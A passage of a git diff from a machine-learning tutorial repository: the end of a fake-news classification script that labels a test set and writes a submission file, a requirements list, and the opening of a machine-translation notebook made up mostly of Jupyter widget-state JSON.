L. Draft, and he quickly developed a reputation for clutch performances, including a memorable   pass against the Pittsburgh Steelers in the 2011 Wild Card round. But his stats and his passing form weren’t pretty, and he spent just two years in Denver before moving to the Jets in 2012, where he spent his last season on an N. F. L. roster. He was cut during preseason from the New England Patriots in 2013 and from the Philadelphia Eagles in 2015.
+"""
+
+get_prediction(real_news, convert_to_label=True)
+
+# read the test set
+test_df = pd.read_csv("test.csv")
+
+test_df.head()
+
+# make a copy of the testing set
+new_df = test_df.copy()
+
+# add a new column that contains the author, title and article content
+new_df["new_text"] = new_df["author"].astype(str) + " : " + new_df["title"].astype(str) + " - " + new_df["text"].astype(str)
+new_df.head()
+
+# get the prediction of all the test set
+new_df["label"] = new_df["new_text"].apply(get_prediction)
+
+# make the submission file
+final_df = new_df[["id", "label"]]
+final_df.to_csv("submit_final.csv", index=False)
\ No newline at end of file
diff --git a/machine-learning/nlp/fake-news-classification/requirements.txt b/machine-learning/nlp/fake-news-classification/requirements.txt
new file mode 100644
index 00000000..1d23d4ae
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/requirements.txt
@@ -0,0 +1,7 @@
+transformers
+nltk
+pandas
+numpy
+matplotlib
+seaborn
+wordcloud
\ No newline at end of file
diff --git a/machine-learning/nlp/machine-translation/MachineTranslation.ipynb b/machine-learning/nlp/machine-translation/MachineTranslation.ipynb
new file mode 100644
index 00000000..21d77480
--- /dev/null
+++ b/machine-learning/nlp/machine-translation/MachineTranslation.ipynb
@@ -0,0 +1,2610 @@
+{
+  "nbformat": 4,
+  "nbformat_minor": 0,
+  "metadata": {
+    "colab": {
+      "name": "Untitled38.ipynb",
+      "provenance": [],
+      "collapsed_sections": []
+    },
+    "kernelspec": {
+      "name": "python3",
+      "display_name": "Python 3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "8fdf3032d9214317a6f7459c5a6aa899": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HBoxView",
+            "_dom_classes": [],
+            "_model_name": "HBoxModel",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "box_style": "",
+            "layout": "IPY_MODEL_9647fbdcc4c3409bb60ee4aa08184c9a",
+            "_model_module": "@jupyter-widgets/controls",
+            "children": [
+              "IPY_MODEL_3a97b74f252148768872481480df1d6d",
+              "IPY_MODEL_93a6daec11184f35ac8aa21fb10d92a8",
+              "IPY_MODEL_5a3fd6722aff493384f76c9a100093e5"
+            ]
+          }
+        },
+        "9647fbdcc4c3409bb60ee4aa08184c9a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "3a97b74f252148768872481480df1d6d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_f48db2ee49be467a8366fc632acf1132",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": "Downloading: 100%",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_cce00478fd014b4abf339430615b43e7"
+          }
+        },
+        "93a6daec11184f35ac8aa21fb10d92a8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "ProgressView",
+            "style": "IPY_MODEL_66bc4a903df64c5c80b36afb5a73303a",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "FloatProgressModel",
+            "bar_style": "success",
+            "max": 1335,
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": 1335,
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "orientation": "horizontal",
+            "min": 0,
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_cda1d8c6c9f34d1787da7f836d0d796f"
+          }
+        },
+        "5a3fd6722aff493384f76c9a100093e5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_6905d5dab109461bad5fdf88f4956beb",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": " 1.30k/1.30k [00:00<00:00, 35.1kB/s]",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_da99d1ba45594c39ab373d83ab861e2e"
+          }
+        },
+        "f48db2ee49be467a8366fc632acf1132": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "cce00478fd014b4abf339430615b43e7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "66bc4a903df64c5c80b36afb5a73303a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "ProgressStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "bar_color": null,
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "cda1d8c6c9f34d1787da7f836d0d796f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "6905d5dab109461bad5fdf88f4956beb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "da99d1ba45594c39ab373d83ab861e2e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "2f957dbc765240d1ac58c0bdb4b64d9d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HBoxView",
+            "_dom_classes": [],
+            "_model_name": "HBoxModel",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "box_style": "",
+            "layout": "IPY_MODEL_9daedae4de424ad7aa796c313d0500e2",
+            "_model_module": "@jupyter-widgets/controls",
+            "children": [
+              "IPY_MODEL_2787103f35bf4c838d76c94afab87d9f",
+              "IPY_MODEL_419ce161273e47329c7131fc321f41bc",
+              "IPY_MODEL_10bf7989bbfa4d7298b66e20b842bbdb"
+            ]
+          }
+        },
+        "9daedae4de424ad7aa796c313d0500e2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "2787103f35bf4c838d76c94afab87d9f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_cbb063f501bc4bc390caec21d548a13f",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": "Downloading: 100%",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_68691e2f527644ed946c8d4bbc5fb24b"
+          }
+        },
+        "419ce161273e47329c7131fc321f41bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "ProgressView",
+            "style": "IPY_MODEL_e7d8d6f022b84065aa5de0c6a905e3d3",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "FloatProgressModel",
+            "bar_style": "success",
+            "max": 297928209,
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": 297928209,
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "orientation": "horizontal",
+            "min": 0,
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_7783a63b374e4a42a549b841f0bfb7ea"
+          }
+        },
+        "10bf7989bbfa4d7298b66e20b842bbdb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_cab62258200a4b63b618be516639b1ca",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": " 284M/284M [00:10<00:00, 18.6MB/s]",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_d65fa40a86b7439ba299224d55ad4c35"
+          }
+        },
+        "cbb063f501bc4bc390caec21d548a13f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "68691e2f527644ed946c8d4bbc5fb24b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "e7d8d6f022b84065aa5de0c6a905e3d3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "ProgressStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "bar_color": null,
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "7783a63b374e4a42a549b841f0bfb7ea": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "cab62258200a4b63b618be516639b1ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "d65fa40a86b7439ba299224d55ad4c35": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "06cbeedd6aaa48729e6468585dfd841b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HBoxView",
+            "_dom_classes": [],
+            "_model_name": "HBoxModel",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "box_style": "",
+            "layout": "IPY_MODEL_c82fe526735e492ab113e65b190e39f9",
+            "_model_module": "@jupyter-widgets/controls",
+            "children": [
+              "IPY_MODEL_2df15105d5264771b8ad0f5eb7587f3c",
+              "IPY_MODEL_c552329104e346b4889e055c8b581a3c",
+              "IPY_MODEL_70e48bc5c828474aba0f06ecb318e061"
+            ]
+          }
+        },
+        "c82fe526735e492ab113e65b190e39f9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "2df15105d5264771b8ad0f5eb7587f3c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_5111fcaa6eaf47dd83f9f2f9ea79db57",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": "Downloading: 100%",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_c45d54d130b040489871a4bf5acfed2c"
+          }
+        },
+        "c552329104e346b4889e055c8b581a3c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "ProgressView",
+            "style": "IPY_MODEL_312ee383da1e4fe4a133bad9b364c3c0",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "FloatProgressModel",
+            "bar_style": "success",
+            "max": 42,
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": 42,
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "orientation": "horizontal",
+            "min": 0,
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_1bba34dddcd8402290cd46a0718b67d7"
+          }
+        },
+        "70e48bc5c828474aba0f06ecb318e061": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "HTMLView",
+            "style": "IPY_MODEL_16e49345f7384ecf8cd9bfd408f4f7dc",
+            "_dom_classes": [],
+            "description": "",
+            "_model_name": "HTMLModel",
+            "placeholder": "",
+            "_view_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "value": " 42.0/42.0 [00:00<00:00, 1.09kB/s]",
+            "_view_count": null,
+            "_view_module_version": "1.5.0",
+            "description_tooltip": null,
+            "_model_module": "@jupyter-widgets/controls",
+            "layout": "IPY_MODEL_a06473eb59d64bfd96a98263296e2d75"
+          }
+        },
+        "5111fcaa6eaf47dd83f9f2f9ea79db57": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "c45d54d130b040489871a4bf5acfed2c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "312ee383da1e4fe4a133bad9b364c3c0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "ProgressStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "bar_color": null,
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "1bba34dddcd8402290cd46a0718b67d7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
+            "align_self": null,
+            "height": null,
+            "min_height": null,
+            "padding": null,
+            "grid_auto_rows": null,
+            "grid_gap": null,
+            "max_width": null,
+            "order": null,
+            "_view_module_version": "1.2.0",
+            "grid_template_areas": null,
+            "object_position": null,
+            "object_fit": null,
+            "grid_auto_columns": null,
+            "margin": null,
+            "display": null,
+            "left": null
+          }
+        },
+        "16e49345f7384ecf8cd9bfd408f4f7dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_view_name": "StyleView",
+            "_model_name": "DescriptionStyleModel",
+            "description_width": "",
+            "_view_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.5.0",
+            "_view_count": null,
+            "_view_module_version": "1.2.0",
+            "_model_module": "@jupyter-widgets/controls"
+          }
+        },
+        "a06473eb59d64bfd96a98263296e2d75": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_view_name": "LayoutView",
+            "grid_template_rows": null,
+            "right": null,
+            "justify_content": null,
+            "_view_module": "@jupyter-widgets/base",
+            "overflow": null,
+            "_model_module_version": "1.2.0",
+            "_view_count": null,
+            "flex_flow": null,
+            "width": null,
+            "min_width": null,
+            "border": null,
+            "align_items": null,
+            "bottom": null,
+            "_model_module": "@jupyter-widgets/base",
+            "top": null,
+            "grid_column": null,
+            "overflow_y": null,
+            "overflow_x": null,
+            "grid_auto_flow": null,
+            "grid_area": null,
+            "grid_template_columns": null,
+            "flex": null,
+            "_model_name": "LayoutModel",
+            "justify_items": null,
+            "grid_row": null,
+            "max_height": null,
+            "align_content": null,
+            "visibility": null,
